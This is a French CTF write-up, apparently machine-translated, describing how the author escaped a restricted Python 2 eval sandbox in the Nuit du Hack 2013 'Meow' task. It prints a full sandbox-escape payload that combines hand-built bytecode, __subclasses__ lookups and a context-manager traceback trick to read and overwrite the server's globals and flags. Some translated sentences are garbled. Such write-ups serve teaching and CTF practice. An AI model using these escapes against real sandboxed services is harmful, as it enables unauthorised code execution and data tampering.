Hier s'est déroulé la manche de qualification de la Nuit du Hack CTF 2013. Comme d'habitude, je vous parlerai en quelques notes des tâches et / ou solutions intéressantes de ce CTF. Si vous souhaitez en savoir plus, mon coéquipier w4kfu devrait également publier prochainement sur son blog.
TL; DR:
auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())
L'une des tâches, appelée "Meow" , nous offre un shell restreint distant avec Python, où la plupart des modules intégrés sont désactivés:
{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}
Plusieurs fonctions étaient disponibles, à savoir
kitty()
, la sortie de l'image du chat en ASCII et auth(password)
. J'ai supposé que nous devions contourner l'authentification et trouver un mot de passe. Malheureusement, nos commandes Python sont passées en eval
mode expression, ce qui signifie que nous ne pouvons utiliser aucun opérateur: pas d'opérateur d'affectation, pas d'impression, pas de définition de fonction / classe, etc. La situation est devenue plus compliquée. Nous devrons utiliser la magie Python (il y en aura beaucoup dans ce post, je le promets).
Au début, j'ai supposé que je
auth
comparais simplement le mot de passe à une chaîne constante. Dans ce cas, je pourrais utiliser un objet personnalisé modifié __eq__
de telle manière qu'il retourne toujoursTrue
... Cependant, vous ne pouvez pas simplement prendre et créer un tel objet. Nous ne pouvons pas définir nos propres classes via une classe Foo
, car nous ne pouvons pas modifier un objet déjà existant (sans affectation). C'est là que la magie Python commence: nous pouvons directement instancier un objet type pour créer un objet classe, puis instancier cet objet classe. Voici comment procéder:
type('MyClass', (), {'__eq__': lambda self: True})
Cependant, nous ne pouvons pas utiliser le type ici, il n'est pas défini dans les modules intégrés. Nous pouvons utiliser une astuce différente: chaque objet Python a un attribut
__class__
qui nous donne le type de l'objet. Par exemple, ‘’.__class__
this str
. Mais ce qui est plus intéressant: str.__class__
c'est le type. Nous pouvons donc utiliser ''.__class__.__class__
pour créer un nouveau type.
Malheureusement, la fonction
auth
ne compare pas simplement notre objet à une chaîne. Il fait beaucoup d'autres opérations avec lui: il le divise en 14 caractères, prend la longueur len()
et l'appelle reduce
avec un étrange lambda. Sans code, il est difficile de comprendre comment créer un objet qui se comporte comme le souhaite la fonction, et je n'aime pas deviner. Plus de magie nécessaire!
Ajoutons des objets de code. En fait, les fonctions en Python sont également des objets, qui consistent en un objet code et une capture de leurs variables globales. L'objet code contient le bytecode de cette fonction et les objets constants auxquels il fait référence, certaines chaînes, noms et autres métadonnées (nombre d'arguments, nombre d'objets locaux, taille de la pile, mappage du bytecode au numéro de ligne). Vous pouvez obtenir l'objet de code de fonction avec
myfunc.func_code
. Ceci restricted
est interdit en mode interpréteur Python, nous ne pouvons donc pas voir le code de la fonction auth
. Cependant, nous pouvons créer nos propres fonctions tout comme nous avons créé nos propres types!
Vous vous demandez peut-être pourquoi utiliser des objets de code pour créer des fonctions alors que nous avons déjà un lambda? C'est simple: les lambdas ne peuvent pas contenir d'opérateurs. Et les fonctions générées aléatoirement le peuvent! Par exemple, nous pouvons créer une fonction qui renvoie son argument à
stdout
:
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
(), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42
Cependant, il y a un petit problème ici: pour obtenir le type de l'objet code, il faut accéder à l'attribut
func_code
, qui est limité. Heureusement, nous pouvons utiliser un peu plus de magie Python pour trouver notre type sans accéder aux attributs interdits.
En Python, un objet d'un type a un attribut
__bases__
qui renvoie une liste de toutes ses classes de base. Il a également une méthode __subclasses__
qui retourne une liste de tous les types hérités d'elle. Si nous utilisons __bases__
sur un type aléatoire, nous pouvons atteindre le haut de la hiérarchie des types d'objet, puis lire les sous-classes d'objet pour obtenir une liste de tous les types définis dans l'interpréteur:
>>> len(().__class__.__bases__[0].__subclasses__())
81
Nous pouvons ensuite utiliser cette liste pour trouver nos types
function
et code
:
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'code'][0]
<type 'code'>
Maintenant que nous pouvons créer n'importe quelle fonction que nous voulons, que pouvons-nous faire? Nous pouvons accéder directement à des fichiers en ligne illimités: les fonctions que nous créons sont toujours exécutées dans l'
restricted
environnement -environment. On peut obtenir une fonction non isolée: la fonction auth
appelle une méthode sur l' __len__
objet que l'on passe en paramètre. Cependant, cela ne suffit pas pour sortir du bac à sable: nos variables globales sont toujours les mêmes, et nous ne pouvons pas, par exemple, importer un module. J'essayais de regarder toutes les classes auxquelles nous pouvions accéder__subclasses__
pour voir si nous pouvons obtenir un lien vers un module utile à travers lui, en vain. Même recevoir un appel à l'une de nos fonctions créées via le réacteur n'était pas suffisant. Nous pourrions essayer d'obtenir un objet de trace et l'utiliser pour afficher les cadres de pile des fonctions appelantes, mais le seul moyen facile d'obtenir un objet de trace est via des modules inspect
ou sys
que nous ne pouvons pas importer. Après être tombé sur ce problème, je suis passé à d'autres, j'ai beaucoup dormi et me suis réveillé avec la bonne solution!
En fait, il y a une autre façon d'obtenir un retraçage-objet dans la bibliothèque standard de Python sans utiliser:
context manager
. Il s'agissait d'une nouvelle fonctionnalité de Python 2.6 qui permet une sorte de portée orientée objet en Python:
class CtxMan:
def __enter__(self):
print 'Enter'
def __exit__(self, exc_type, exc_val, exc_tb):
print 'Exit:', exc_type, exc_val, exc_tb
with CtxMan():
print 'Inside'
error
# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
<traceback object at 0x7f1a46ac66c8>
Nous pouvons créer un objet
context manager
qui utilisera l'objet de trace passé à __exit__
pour afficher les variables globales de la fonction appelante qui se trouve en dehors du sandbox. Pour cela, nous utilisons des combinaisons de toutes nos astuces précédentes. Nous créons un type anonyme qui définit à la __enter__
fois un lambda simple et __exit__
un lambda qui fait référence à ce que nous voulons dans la trace et le passe à notre sortie lambda (rappelez-vous que nous ne pouvons pas utiliser d'opérateurs):
''.__class__.__class__('haxx', (),
{'__enter__': lambda self: None,
'__exit__': lambda self, *a:
(lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
(None,), (), ('s',), 'stdin', 'f',
1, ''), {})
)(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
if x.__name__ == n][0])
(a[2].tb_frame.f_back.f_back.f_globals)})()
Nous devons creuser plus profondément! Nous devons maintenant utiliser celui-ci
context manager
(que nous appellerons ctx
dans les extraits de code suivants) dans une fonction qui déclenchera délibérément une erreur dans un bloc with
:
def f(self):
with ctx:
raise 42
Ensuite, nous mettons
f
comme __len__
objet créé, que nous passons à la fonction auth
:
auth(''.__class__.__class__('haxx2', (), {
'__getitem__': lambda *a: '',
'__len__': f
})())
Revenons au début de l'article et rappelons-nous le «vrai» code embarqué. Lorsqu'il est exécuté sur le serveur, cela amène l'interpréteur Python à exécuter notre fonction
f
, à passer par celle créée context manager
__exit__
, qui accédera aux variables globales de notre méthode d'appel, où il y a deux valeurs intéressantes:
'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'
Deux drapeaux?! Il s'avère que le même service a été utilisé pour deux tâches se succédant. Double tuer!
Pour avoir plus de plaisir à accéder aux variables globales, nous pouvons faire plus que simplement lire: nous pouvons changer les drapeaux! L'utilisation des
f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })
indicateurs changera jusqu'au prochain redémarrage du serveur. Apparemment, les organisateurs n'ont pas prévu cela.
Quoi qu'il en soit, je ne sais toujours pas comment nous étions censés résoudre ce problème de manière normale, mais je pense qu'une telle solution universelle est un bon moyen d'initier les lecteurs à la magie noire de Python. Utilisez-le avec précaution, il est facile de forcer Python à effectuer une segmentation avec les objets de code générés (l'utilisation de l'interpréteur Python et l'exécution du shellcode x86 via le bytecode généré sont laissées au lecteur). Merci aux organisateurs de Nuit du Hack pour une belle tâche.